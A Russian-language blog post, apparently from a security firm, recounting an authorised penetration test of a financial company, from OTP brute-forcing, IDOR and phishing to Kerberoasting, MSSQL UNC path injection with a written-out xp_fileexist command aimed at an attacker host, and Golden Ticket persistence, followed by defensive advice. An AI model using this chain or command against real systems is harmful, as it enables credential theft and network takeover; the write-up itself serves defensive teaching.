В этом посте мы расскажем, как сломанная логика, самописные сервисы и графические пароли могут привести к захвату сетевой инфраструктуры компании, полной потере денег и пользовательских данных.

Это реальная история. События, о которых рассказывается в посте, произошли не так уж давно. По просьбе юристов названия были изменены. Из уважения к читателям все рассказано так, как было на самом деле.

В Бастион обратилась финансовая организация с приличными оборотами и развитой офлайн-инфраструктурой. Руководство компании хотело, чтобы мы выявили и продемонстрировали уязвимости в их онлайн-сервисах.

Внешний периметр

Это было тестирование на проникновение по модели Black box. Вначале у нас был URL-адрес основного сайта компании и больше никаких данных. Конечно, мы начали с разведки.

В таких случаях прежде всего мы собираем список целей при помощи парсинг DNS-систем. В ход идут domaineye.com, viewdns.info, censys.io и утилиты типа amass и subfinder. Они агрегируют открытую информацию о зарегистрированных доменах.

На этот раз с их помощью мы нашли пару десятков уникальных IP-адресов и несколько десятков поддоменов. Причем среди них было только 10 активных. Совсем немного на фоне других пентестов. Наш заказчик только начал цифровизацию.

Cобрав поддомены, мы получили IP-адреса хостов и запустили по ним nmap для определения сервисов, а на самих поддоменах запустили дирбастинг.

На внешнем периметре заказчика нашелся только один компонент с известной уязвимостью EternalBlue, но мы не стали ломиться через нее, чтобы случайно не нарушить работу серверов. Кроме того, на IP-адресах внешнего периметра было несколько хостов с открытыми RDP-портами. Мы сразу оповестили заказчика, отметили находки в отчете и перешли к исследованию доменов.

Уязвимости веб-приложений

У каждого пентестера в нашей команде свои фишки и подходы, но в целом на этом этапе мы действуем по методологии OWASP. Мы заходим на каждый поддомен и дотошно проверяем действия, которые пользователь может совершить с веб-сайтом: от регистрации, личных сообщений и комментариев, вплоть до выбора языка страницы. В каждой из таких функций может скрываться уязвимость.

Далее проводим ручной анализ компонентов, клиентской и серверной части веб-приложений, доступных из интернета. Так определяется поверхность атаки, используемое ПО и технологии, которые позволяют продумать вероятные вектора атак. Это кропотливая работа, но она приносит результаты.

Получение списка зарегистрированных пользователей (User enumeration)

На сайте компании был предусмотрен полноценный личный кабинет для клиентов с авторизацией по номеру телефона и SMS-коду. Судя по всему, личный кабинет был написан с нуля. Так вот, при неправильном вводе номера телефона сайт прямо сообщал, что пользователь не найден. То же самое происходило при попытке сброса пароля.

Вроде бы мелочь, но это утечка информации. С помощью такой формы легко собрать список зарегистрированных пользователей для дальнейших атак, например, захвата аккаунтов.

Получение доступа к учетной записи (Account TakeOver)

Оказалось, что разработчики портала не установили никакого ограничения на попытки ввода кода авторизации. Так что, зная телефон активного аккаунта, можно было подобрать соответствующий код.

На перебор комбинаций четырехзначного кода в несколько потоков требуется около двадцати секунд, шестизначного — несколько минут. Так злоумышленник мог с порога завладеть чужим аккаунтом и, например, попытаться оформить займ.

Небезопасная прямая ссылка на объект (IDOR)

Вообще, злодей мог знатно порезвиться в личном кабинете пользователя. Например, там был способ отправить сообщение с одного аккаунта на другой под любым username.

Достаточно было вручную подредактировать параметры from и to в теле страницы. Вписав нужного отправителя и адресата, можно было отправлять личные сообщения от имени администрации сайта. Представьте, как можно использовать такую рассылку — простор для творчества огромный.

Доступ к банковским данным (Broken Access control)

Еще одну опасную уязвимость мы нашли, изучая список директорий в личном кабинете. Среди них была директория support. Логично предположить, что она относится к службе поддержки. А у службы поддержки должен быть доступ к административным функциям и ресурсам, ведь он нужен для помощи пользователям.

Мы решили проверить, как работает контроль доступа к этим функциям. Для этого мы запросили директорию /support/user из-под аккаунта пользователя. Веб-сервер должен был вернуть ошибку 403 Forbidden — доступ запрещен, но он был настроен неправильно.

Сервер перенаправил нас на страницу /support - login page. В браузере не было видно ничего необычного, но мы просканировали запросы через burp suite, и увидели, что одновременно сервер отдает всякие интересные html-конструкции.

Тогда мы взяли словарь на 250 000 слов и подобрали такие запросы, на которые сайт выдавал конфиденциальную информацию. Так, по пути /support/page-stat выпадали csv-таблицы со статистикой за несколько лет, а вишенкой на торте стали логин и пароль для API банка-партнера.

У нас все еще не было пароля администратора, но ошибка в логике исполнения ответов давала возможность завладеть платежами, которые проходят через компанию. Доступ к API означал полный контроль над платежами, доступ к вводу и выводу средств компании.

Социальная инженерия

Теперь пришло время корпоративной сети. Для доступа к ней в компании использовали внешний VPN-шлюз, где для авторизации использовалась только пара логин/пароль без 2-FA OTP кода.

В таких случаях злоумышленники, как правило, выманивают все необходимое для подключения при помощи социальной инженерии. Чтобы оценить готовность заказчика к подобным атакам, мы зарегистрировали домен с подходящим названием и организовали рассылку по email-адресам сотрудников компании.

Это были письма от имени службы поддержки с просьбой авторизоваться в новом (конечно, фишинговом) портале централизованного защищенного удаленного доступа.

Всего мы отправили больше 70 сообщений. 85% сотрудников, получивших письмо, прошли по ссылке и оставили данные от своего VPN на сайте, а двое написали ответные письма с жалобами на неработающую авторизацию.

В общем, получить доступ к внутренней сети было бы несложно. Мы перешли к изучению инфраструктуры заказчика.

Аудит внутренней сети

Первым делом мы составили карту сети при помощи PowerView, PowerSploit, PowerShellMafia. Выяснилось, что мы находимся в типичной корпоративной сети с базами данных, CRM, ERP и прочими корпоративными сервисами. За сетевую аутентификацию в ней отвечал Kerberos.

Конечно, данные нескольких собранных учеток совпали с данными аккаунтов во внутренней сети, правда, у них не было привилегий. Это были обычные пользовательские учетные записи.

Теперь мы действовали по методологии OSSTMM. Чтобы получить права доменного администратора, мы начали поиск учетных записей, у которых отключена предварительная аутентификация Kerberos. Они уязвимы для атаки AS-REP Roasting. Однако, это ничего не дало.

Тогда мы перешли к другой похожей атаке — Kerberoasting. Новый подход принес нам четыре билета. При помощи брутфорса удалось получить два пароля из четырех. Это были учетки типа USER, которые по-хорошему должны назначаться только реальным юзерам, а не сервисам, но в данном случае это были учетки sql.

Зачастую, доступ к базам данных MSSQL предоставляется авторизованным пользователям в домене по умолчанию. С помощью инструмента PowerUpSQL мы нашли инстансы БД, к которым скомпрометированные учетки имеют доступ.

Оказалось, что в одном из них сервис запущен от имени учетной записи с привилегиями доменного администратора.

Проверка показала, что на нем были включены хранимые процедуры. Это открыло возможность для атаки MSSQL: UNC Path Injection.

Дело в том, что по умолчанию в базах данных MSSQL доступны хранимые процедуры xp_fileexist и xp_dirtree. Они позволяют пользователям с обычными (public) привилегиями делать удаленные запросы через путь UNC (\server). При этом, при обращении к удаленному ресурсу передаются учетные данные сервисной учетной записи, от имени которой запущена служба базы данных. Это делается для аутентификации и проверки прав доступа.

Мы подняли собственный файловый сервис, сделали запрос вида «exec master..xp_fileexist '\IP\temp\1.txt';», и на нашей рабочей станции остался Net-Ntlm-хеш пароля сервисной учетной записи.

Далее его можно подвергнуть атаке NTLM-relay или брутфорсу. Мы пошли вторым путем и через полчаса перебора с использованием видеокарты GeForce GTX 1050 получили пароль доменного администратора.

У пароля была довольно хитрая структура. Он представлял собой графический символ в середине клавиатуры. Некоторые люди целенаправленно используют такую технику запоминания паролей, а некоторые неосознанно. Это объясняется психологией и удобством набора. Так, символы расположенные рядом друг с другом на клавиатуре часто соседствуют и в паролях.

Подобные графические пароли легко запоминаются, солидно выглядят, их удобно вводить, но, к сожалению, они легко брутятся. Особенно с тех пор, как появились инструменты, которые автоматически генерируют списки таких паролей.

Получив доступ к аккаунту администратора, мы завели новую учетную запись и, с помощью атаки Golden Ticket, выдали ей скрытые права администратора домена.

Такая учетная запись обеспечивает скрытое закрепление в инфраструктуре и может годами ждать, пока ей воспользуется злоумышленник. И что бы ни произошло дальше, гарантируем, руководству компании это не понравится.

Вместо выводов — рекомендации по безопасности

В этом кейсе не было уязвимостей, которые требуют особых навыков для использования. Как выяснилось, чтобы взломать финансовую компанию, достаточно среднего уровня знаний в области информационной безопасности.

Если бы на нашем месте оказался злоумышленник, он получил бы доступ к финансам за считанные дни, а за неделю-другую пробрался в корпоративную сеть и захватил все, до чего дотянулись руки. Чудо, что этого не произошло до пентеста.

Сотрудники, не знающие основ информационной безопасности, сильно упростили проникновение во внутреннюю сеть компании. Наиболее уязвимым компонентом внутри была база данных MSSQL с настройками по умолчанию. Если хранимые процедуры не используются для работы, их нужно отключать.

Кроме того, захват корпоративной сети ускорили словарные пароли. И дело не в плохой парольной политике компании, а в том, что составители словарей здорово поднаторели в своей работе.

Одно из немногих эффективных решений этой проблемы — внедрение механизмов мониторинга словарных паролей. Например, подобную систему использует Microsoft. Надеемся, этот подход получит более широкое распространение.

Что касается безопасности доменов, риски были бы ниже, если бы не самописные сервисы. Разработчики популярных фреймворков во многом уже позаботились о безопасности, но, когда пишешь с нуля, легко допустить появление логических уязвимостей.

Поэтому перед полноценным запуском стоит организовать тестирование на проникновение во все сервисы, так или иначе связанные с деньгами и ценными данными. Еще одна хорошая практика — Secure SDLC — регулярные проверки безопасности, интегрированные в процесс разработки со старта проекта.

Если бы заказчик следовал этим рекомендациям, пентест был намного сложнее, а его результаты — лучше для компании и ее клиентов. Банальные советы, но практика показывает, что их все еще необходимо проговаривать.